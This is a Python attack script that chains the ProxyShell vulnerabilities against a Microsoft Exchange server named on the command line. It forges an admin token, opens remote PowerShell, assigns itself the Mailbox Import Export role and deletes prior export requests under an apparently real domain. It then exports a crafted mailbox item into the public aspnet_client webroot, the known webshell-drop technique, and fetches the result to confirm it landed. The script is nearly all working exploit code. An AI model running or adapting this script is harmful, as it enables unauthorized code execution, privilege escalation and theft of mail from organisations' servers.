#!/usr/bin/env python3
import sys, time, random
sys.path.insert(0, '.')
import ps_driver as P
import requests
requests.packages.urllib3.disable_warnings()
host = sys.argv[1]
ps = P.ProxyShell(f'https://{host}', timeout=80)
ps.get_fqdn(); ps.get_legacydn(); ps.get_sid()
ps.sid = ps.sid; ps.set_ews()
ps.sid = ps.admin_sid; ps.get_token()
port = random.randint(20000, 40000); P.start_server(ps, port); time.sleep(1)
def run(s):
    print(">>>", s, flush=True)
    try:
        o, e = P.wsman_shell(s, port)
        for x in o: print("  ", str(x)[:300], flush=True)
        for x in (e or []): print("  E", str(x)[:300], flush=True)
    except Exception as ex: print("  EXC", type(ex).__name__, str(ex)[:200], flush=True)
run('New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "%s"' % ps.email.split('@')[0])
for req in ['Eijdki', 'Xcqxfw', 'Xrobmu', 'Xpjvyb']:
    run("Remove-MailboxExportRequest -Identity 'visioncosmo.com/Users/#1 free\\%s' -Confirm:$false" % req)
run('Get-MailboxExportRequest -ResultSize 20')
r = P.rand_string(5)
base = '\\\\127.0.0.1\\c$\\inetpub\\wwwroot\\aspnet_client\\'
run('New-MailboxExportRequest -Name "Y%s" -Mailbox %s -IncludeFolders ("#Drafts#") -ContentFilter "(Subject -eq \'%s\')" -ExcludeDumpster -FilePath "%s%s.txt"' % (r, ps.email, P.subj_, base, r))
print("waiting 90s...", flush=True); time.sleep(90)
try:
    resp = requests.get(f"https://{host}/aspnet_client/{r}.txt", verify=False, timeout=20)
    print("GET txt", resp.status_code, len(resp.content), resp.content[:14], flush=True)
except Exception as ex: print("GET exc", ex, flush=True)
